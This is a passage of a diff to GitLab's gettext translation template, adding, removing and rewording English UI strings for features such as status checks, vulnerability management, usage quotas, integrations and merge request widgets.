msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
